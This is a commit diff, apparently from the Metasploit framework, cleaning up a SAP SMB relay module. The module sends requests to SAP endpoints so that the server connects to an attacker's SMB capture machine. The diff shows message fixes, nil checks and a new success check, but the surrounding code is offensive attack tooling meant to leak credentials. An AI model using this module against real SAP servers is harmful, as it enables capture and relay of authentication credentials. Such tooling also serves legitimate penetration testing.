Skip to content

Commit d9bdf3d

Browse files
author
jvazquez-r7
committed
Do final cleanup for sap_smb_relay
1 parent 9dd582c commit d9bdf3d

File tree

1 file changed

+7
-5
lines changed

1 file changed

+7
-5
lines changed

modules/auxiliary/scanner/sap/sap_smb_relay.rb

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -108,7 +108,7 @@ def run_xmla
108108
if res and res.code == 200 and res.body =~ /XML for Analysis Provider/ and res.body =~ /Request transfered is not a valid XML/
109109
print_good("#{rhost}:#{rport} - SMB Relay looks successful, check your SMB capture machine")
110110
else
111-
vprint_status("#{rhost}:#{rport} - Response: #{res.code} - #{res.message}")
111+
vprint_status("#{rhost}:#{rport} - Response: #{res.code} - #{res.message}") if res
112112
end
113113
rescue ::Rex::ConnectionError
114114
print_error("#{rhost}:#{rport} - Unable to connect")
@@ -124,7 +124,7 @@ def run_mmr
124124
vprint_status("#{rhost}:#{rport} - Sending unauthenticated request for #{smb_uri}")
125125
res = send_request_cgi({
126126
'uri' => '/mmr/MMR',
127-
'method' => 'GET',
127+
'method' => 'HEAD',
128128
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
129129
'ctype' => 'text/xml; charset=UTF-8',
130130
'vars_get' => {
@@ -135,7 +135,7 @@ def run_mmr
135135
})
136136

137137
else
138-
vprint_status("#{rhost}:#{rport} - Sending unauthenticated request for #{smb_uri}")
138+
vprint_status("#{rhost}:#{rport} - Sending authenticated request for #{smb_uri}")
139139
res = send_request_cgi({
140140
'uri' => '/mmr/MMR',
141141
'method' => 'GET',
@@ -182,8 +182,10 @@ def send_soap_rfc_request(data, smb_uri)
182182
'sap-language' => 'EN'
183183
}
184184
})
185-
if res
186-
vprint_status("#{rhost}:#{rport} - Response: #{res.code} - #{res.message}")
185+
if res and res.code == 500 and res.body =~ /OPEN_FAILURE/
186+
print_good("#{rhost}:#{rport} - SMB Relay looks successful, check your SMB capture machine")
187+
else
188+
vprint_status("#{rhost}:#{rport} - Response: #{res.code} - #{res.message}") if res
187189
end
188190
rescue ::Rex::ConnectionError
189191
print_error("#{rhost}:#{rport} - Unable to connect")

0 commit comments

Comments
 (0)